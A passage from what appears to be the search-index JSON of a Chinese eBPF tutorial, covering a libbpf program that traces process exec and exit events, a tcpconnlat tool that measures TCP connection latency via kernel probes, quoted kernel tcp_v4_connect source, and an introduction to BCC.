.doc = argp_program_doc,\n}; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)\n{ if (level == LIBBPF_DEBUG && !env.verbose) return 0; return vfprintf(stderr, format, args);\n} static volatile bool exiting = false; static void sig_handler(int sig)\n{ exiting = true;\n} static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; struct tm *tm; char ts[32]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); if (e->exit_event) { printf(\"%-8s %-5s %-16s %-7d %-7d [%u]\", ts, \"EXIT\", e->comm, e->pid, e->ppid, e->exit_code); if (e->duration_ns) printf(\" (%llums)\", e->duration_ns / 1000000); printf(\"\\n\"); } else { printf(\"%-8s %-5s %-16s %-7d %-7d %s\\n\", ts, \"EXEC\", e->comm, e->pid, e->ppid, e->filename); } return 0;\n} int main(int argc, char **argv)\n{ struct ring_buffer *rb = NULL; struct bootstrap_bpf *skel; int err; /* Parse command line arguments */ err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Cleaner handling of Ctrl-C */ signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); /* Load and verify BPF application */ skel = bootstrap_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1; } /* Parameterize BPF code with minimum duration parameter */ skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; /* Load & verify BPF programs */ err = bootstrap_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } /* Attach tracepoints */ err = bootstrap_bpf__attach(skel); if (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup; } /* Set up ring buffer polling */ rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); if (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup; } /* Process events */ printf(\"%-8s %-5s %-16s %-7s %-7s %s\\n\", \"TIME\", \"EVENT\", \"COMM\", \"PID\", \"PPID\", \"FILENAME/EXIT CODE\"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; } } cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n} 这个用户态程序主要用于加载、验证、附加 eBPF 程序，以及接收 eBPF 程序收集的事件数据，并将其打印出来。我们将分析一些关键部分。 首先，我们定义了一个 env 结构，用于存储命令行参数： static struct env { bool verbose; long min_duration_ms;\n} env; 接下来，我们使用 argp 库来解析命令行参数： static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ // ...\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; main() 函数中，首先解析命令行参数，然后设置 libbpf 的打印回调函数 libbpf_print_fn，以便在需要时输出调试信息： err = argp_parse(&argp, argc, argv, 0, NULL, NULL);\nif (err) return err; libbpf_set_print(libbpf_print_fn); 接下来，我们打开 eBPF 脚手架（skeleton）文件，将最小持续时间参数传递给 eBPF 程序，并加载和附加 eBPF 程序： skel = bootstrap_bpf__open();\nif (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1;\n} skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; err = bootstrap_bpf__load(skel);\nif (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup;\n} err = bootstrap_bpf__attach(skel);\nif (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup;\n} 然后，我们创建一个环形缓冲区（ring buffer），用于接收 eBPF 程序发送的事件数据： rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);\nif (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup;\n} handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型（进程执行或退出），它会提取并打印事件信息，如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 最后，我们使用 ring_buffer__poll() 函数轮询环形缓冲区，处理收到的事件数据： while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); // ...\n} 当程序收到 SIGINT 或 SIGTERM 信号时，它会最后完成清理、退出操作，关闭和卸载 eBPF 程序： cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n}","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 用户态，bootstrap.c","id":"68","title":"用户态，bootstrap.c"},"69":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 安装依赖","id":"69","title":"安装依赖"},"7":{"body":"eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑，用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具，只需编写内核态部分的代码。 内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成，每个函数都有其特定的作用。可以使用的函数类型包括： kprobe：插探函数，在指定的内核函数前或后执行。 tracepoint：跟踪点函数，在指定的内核跟踪点处执行。 raw_tracepoint：原始跟踪点函数，在指定的内核原始跟踪点处执行。 xdp：网络数据处理函数，拦截和处理网络数据包。 perf_event：性能事件函数，用于处理内核性能事件。 kretprobe：函数返回插探函数，在指定的内核函数返回时执行。 tracepoint_return：跟踪点函数返回，在指定的内核跟踪点返回时执行。 raw_tracepoint_return：原始跟踪点函数返回，在指定的内核原始跟踪","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 编写 eBPF 程序","id":"7","title":"编写 eBPF 程序"},"70":{"body":"编译运行上述代码： $ make BPF .output/bootstrap.bpf.o GEN-SKEL .output/bootstrap.skel.h CC .output/bootstrap.o BINARY bootstrap\n$ sudo ./bootstrap [sudo] password for yunwei: TIME EVENT COMM PID PPID FILENAME/EXIT CODE\n03:16:41 EXEC sh 110688 80168 /bin/sh\n03:16:41 EXEC which 110689 110688 /usr/bin/which\n03:16:41 EXIT which 110689 110688 [0] (0ms)\n03:16:41 EXIT sh 110688 80168 [0] (0ms)\n03:16:41 EXEC sh 110690 80168 /bin/sh\n03:16:41 EXEC ps 110691 110690 /usr/bin/ps\n03:16:41 EXIT ps 110691 110690 [0] (49ms)\n03:16:41 EXIT sh 110690 80168 [0] (51ms)","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 编译运行","id":"70","title":"编译运行"},"71":{"body":"通过这个实例，我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集，可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf，您可以构建更高效、可扩展和安全的监控和性能分析工具。 在接下来的教程中，我们将继续深入探讨 eBPF 的高级特性，分享更多关于 eBPF 开发实践的内容。通过不断学习和实践，您将更好地理解和掌握 eBPF 技术，并将其应用于解决实际问题。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 总结","id":"71","title":"总结"},"72":{"body":"eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具，被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 本文是 eBPF 入门开发实践教程的第十三篇，主要介绍如何使用 eBPF 统计 TCP 连接延时，并使用 libbpf 在用户态处理数据。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据","id":"72","title":"eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据"},"73":{"body":"在进行后端开发时，不论使用何种编程语言，我们都常常需要调用 MySQL、Redis 等数据库，或执行一些 RPC 远程调用，或者调用其他的 RESTful API。这些调用的底层，通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点，因此在网络传输层协议中，TCP 的应用广泛程度超过了 UDP。然而，TCP 也有一些缺点，如建立连接的延时较长。因此，也出现了一些替代方案，例如 QUIC（Quick UDP Internet Connections，快速 UDP 网络连接）。 分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 背景","id":"73","title":"背景"},"74":{"body":"tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数（如通过 connect() 系统调用），并测量并显示连接延时，即从发送 SYN 到收到响应包的时间。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 工具概述","id":"74","title":"tcpconnlat 工具概述"},"75":{"body":"TCP 连接的建立过程，常被称为“三次握手”（Three-way Handshake）。以下是整个过程的步骤： 客户端向服务器发送 SYN 包：客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 SYN 包传送到服务器：这是一次网络传输，涉及到的时间取决于网络延迟。 服务器处理 SYN 包：服务器内核通过软中断接收包，然后将其放入半连接队列，并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 SYN/ACK 包传送到客户端：这是另一次网络传输。 客户端处理 SYN/ACK：客户端内核接收并处理 SYN/ACK 包，然后发送 ACK。这主要涉及软中断处理开销。 ACK 包传送到服务器：这是第三次网络传输。 服务器接收 ACK：服务器内核接收并处理 ACK，然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 唤醒服务器端用户进程：被 accept() 系统调用阻塞的用户进程被唤醒，然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 完整的流程图如下所示： tcpconnlat1 在客户端视角，在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下，可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后，就可以结合其他信息进行分析。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » TCP 连接原理","id":"75","title":"TCP 连接原理"},"76":{"body":"为了理解 TCP 的连接建立过程，我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列： 半连接队列（SYN 队列）：存储那些正在进行三次握手操作的 TCP 连接，服务器收到 SYN 包后，会将该连接信息存储在此队列中。 全连接队列（Accept 队列）：存储已经完成三次握手，等待应用程序调用 accept() 函数的 TCP 连接。服务器在收到 ACK 包后，会创建一个新的连接并将其添加到此队列。 理解了这两个队列的用途，我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分，其中包括了几个主要的跟踪点：tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。 这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时，这些跟踪点会被激活，从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 让我们先来看一下这些挂载点的源代码： SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} 这段代码展示了三个内核探针（kprobe）的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发，调用 trace_connect() 函数，而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发，调用 handle_tcp_rcv_state_process() 函数。 接下来的部分将分为两大块：一部分是对这些挂载点内核态部分的分析，我们将解读内核源代码来详细说明这些函数如何工作；另一部分是用户态的分析，将关注 eBPF 程序如何收集这些挂载点的数据，以及如何与用户态程序进行交互。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 的 eBPF 实现","id":"76","title":"tcpconnlat 的 eBPF 实现"},"77":{"body":"tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后，接着通过connect系统调用尝试连接到远程服务器，此时就会触发tcp_v4_connect函数。 /* This will initiate an outgoing connection. */\nint tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n{ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; struct inet_timewait_death_row *tcp_death_row; struct inet_sock *inet = inet_sk(sk); struct tcp_sock *tp = tcp_sk(sk); struct ip_options_rcu *inet_opt; struct net *net = sock_net(sk); __be16 orig_sport, orig_dport; __be32 daddr, nexthop; struct flowi4 *fl4; struct rtable *rt; int err; if (addr_len < sizeof(struct sockaddr_in)) return -EINVAL; if (usin->sin_family != AF_INET) return -EAFNOSUPPORT; nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr; } orig_sport = inet->inet_sport; orig_dport = usin->sin_port; fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, orig_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); return err; } if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { ip_rt_put(rt); return -ENETUNREACH; } if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; if (!inet->inet_saddr) { err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); if (err) { ip_rt_put(rt); return err; } } else { sk_rcv_saddr_set(sk, inet->inet_saddr); } if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { /* Reset inherited state */ tp->rx_opt.ts_recent = 0; tp->rx_opt.ts_recent_stamp = 0; if (likely(!tp->repair)) WRITE_ONCE(tp->write_seq, 0); } inet->inet_dport = usin->sin_port; sk_daddr_set(sk, daddr); inet_csk(sk)->icsk_ext_hdr_len = 0; if (inet_opt) inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; /* Socket identity is still unknown (sport may be zero). * However we set state to SYN-SENT and not releasing socket * lock select source port, enter ourselves into the hash tables and * complete initialization after this. */ tcp_set_state(sk, TCP_SYN_SENT); err = inet_hash_connect(tcp_death_row, sk); if (err) goto failure; sk_set_txhash(sk); rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, inet->inet_sport, inet->inet_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); rt = NULL; goto failure; } /* OK, now commit destination to socket. */ sk->sk_gso_type = SKB_GSO_TCPV4; sk_setup_caps(sk, &rt->dst); rt = NULL; if (likely(!tp->repair)) { if (!tp->write_seq) WRITE_ONCE(tp->write_seq, secure_tcp_seq(inet->inet_saddr, inet->inet_daddr, inet->inet_sport, usin->sin_port)); tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, inet->inet_daddr); } inet->inet_id = get_random_u16(); if (tcp_fastopen_defer_connect(sk, &err)) return err; if (err) goto failure; err = tcp_connect(sk); if (err) goto failure; return 0; failure: /* * This unhashes the socket and releases the local port, * if necessary. */ tcp_set_state(sk, TCP_CLOSE); inet_bhash2_reset_saddr(sk); ip_rt_put(rt); sk->sk_route_caps = 0; inet->inet_dport = 0; return err;\n}\nEXPORT_SYMBOL(tcp_v4_connect); 参考链接： https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340 接下来，我们一步步分析这个函数： 首先，这个函数接收三个参数：一个套接字指针sk，一个指向套接字地址结构的指针uaddr和地址的长度addr_len。 int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) 函数一开始就进行了参数检查，确认地址长度正确，而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 接下来，函数获取目标地址，如果设置了源路由选项（这是一个高级的IP特性，通常不会被使用），那么它还会获取源路由的下一跳地址。 nexthop = daddr = usin->sin_addr.s_addr;\ninet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk));\nif (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr;\n} 然后，使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址，函数返回错误。 接下来，它更新了源地址，处理了一些TCP时间戳选项的状态，并设置了目标端口和地址。之后，它更新了一些其他的套接字和TCP选项，并设置了连接状态为SYN-SENT。 然后，这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败，它会恢复套接字的状态并返回错误。 如果前面的步骤都成功了，接着，使用新的源和目标端口来更新路由项。如果这步失败，它会清理资源并返回错误。 接下来，它提交目标信息到套接字，并为之后的分段偏移选择一个安全的随机值。 然后，函数尝试使用TCP Fast Open（TFO）进行连接，如果不能使用TFO或者TFO尝试失败，它会使用普通的TCP三次握手进行连接。 最后，如果上面的步骤都成功了，函数返回成功，否则，它会清理所有资源并返回错误。 总的来说，tcp_v4_connect函数是一个处理TCP连接请求的复杂函数，它处理了很多情况，包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open，等等。它的主要目标是尽可能安全和有效地建立TCP连接。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcp_v4_connect 函数解析","id":"77","title":"tcp_v4_connect 函数解析"},"78":{"body":"// SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_tracing.h>\n#include \"tcpconnlat.h\" #define AF_INET 2\n#define AF_INET6 10 const volatile __u64 targ_min_us = 0;\nconst volatile pid_t targ_tgid = 0; struct piddata { char comm[TASK_COMM_LEN]; u64 ts; u32 tgid;\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} SEC(\"fentry/tcp_v4_connect\")\nint BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_v6_connect\")\nint BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_rcv_state_process\")\nint BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这个eBPF（Extended Berkeley Packet Filter）程序主要用来监控并收集TCP连接的建立时间，即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 首先，定义了两个eBPF maps：start和events。start是一个哈希表，用于存储发起连接请求的进程信息和时间戳，而events是一个PERF_EVENT_ARRAY类型的map，用于将事件数据传输到用户态。 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中，会记录下发起连接请求的进程信息（进程名、进程ID和当前时间戳），并以socket结构作为key，存储到start这个map中。 static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} 当TCP状态机处理到SYN-ACK包，即连接建立的时候，会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中，首先检查socket的状态是否为SYN-SENT，如果是，会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔，将该时间间隔，进程信息，以及TCP连接的详细信息（源端口，目标端口，源IP，目标IP等）作为event，通过bpf_perf_event_output函数发送到用户态。 static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} 理解这个程序的关键在于理解Linux内核的网络栈处理流程，以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是，首先调用tcp_v4_connect或tcp_v6_connect函数（根据IP版本不同）发起TCP连接，然后在收到SYN-ACK包时，通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe，可以在关键时刻得到通知并执行相应的处理代码。 一些关键概念说明： kprobe：Kernel Probe，是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点，当断点被触发时，会执行与kprobe关联的eBPF程序。 map：是eBPF程序中的一种数据结构，用于在内核态和用户态之间共享数据。 socket：在Linux网络编程中，socket是一个抽象概念，表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 内核态代码","id":"78","title":"内核态代码"},"79":{"body":"用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数，用于轮询perf event buffer并处理接收到的数据。 首先，让我们详细看一下主轮询循环： /* main: poll */ while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { fprintf(stderr, \"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } /* reset err to return 0 if exiting */ err = 0; } 这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错（例如由于信号中断），会打印出错误消息。这个轮询过程会一直持续，直到收到一个退出标志exiting。 接下来，让我们来看看handle_event函数，这个函数将处理从内核发送到用户态的每一个eBPF事件： void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { const struct event* e = data; char src[INET6_ADDRSTRLEN]; char dst[INET6_ADDRSTRLEN]; union { struct in_addr x4; struct in6_addr x6; } s, d; static __u64 start_ts; if (env.timestamp) { if (start_ts == 0) start_ts = e->ts_us; printf(\"%-9.3f \", (e->ts_us - start_ts) / 1000000.0); } if (e->af == AF_INET) { s.x4.s_addr = e->saddr_v4; d.x4.s_addr = e->daddr_v4; } else if (e->af == AF_INET6) { memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); } else { fprintf(stderr, \"broken event: event->af=%d\", e->af); return; } if (env.lport) { printf(\"%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), e->lport, inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); } else { printf(\"%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); }\n} handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体，包含了之前在内核态计算得到的TCP连接的信息。 首先，它将接收到的事件的时间戳和起始时间戳（如果存在）进行对比，计算出事件的相对时间，并打印出来。接着，根据IP地址的类型（IPv4或IPv6），将源地址和目标地址从网络字节序转换为主机字节序。 最后，根据用户是否选择了显示本地端口，将进程ID、进程名称、IP版本、源IP地址、本地端口（如果有）、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 用户态数据处理","id":"79","title":"用户态数据处理"},"8":{"body":"BCC全称为BPF Compiler Collection，该项目是一个python库， 包含了完整的编写、编译、和加载BPF程序的工具链，以及用于调试和诊断性能问题的工具。 自2015年发布以来，BCC经过上百位贡献者地不断完善后，目前已经包含了大量随时可用的跟踪工具。 其官方项目库 提供了一个方便上手的教程，用户可以快速地根据教程完成BCC入门工作。 用户可以在BCC上使用Python、Lua等高级语言进行编程。 相较于使用C语言直接编程，这些高级语言具有极大的便捷性，用户只需要使用C来设计内核中的 BPF程序，其余包括编译、解析、加载等工作在内，均可由BCC完成。 然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的 eBPF程序每次执行时候都需要进行编译，编译则需要用户配置相关的头文件和对应实现。在实际应用中， 相信大家也会有体会，编译依赖问题是一个很棘手的问题。也正是因此，在本项目的开发中我们放弃了BCC， 选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 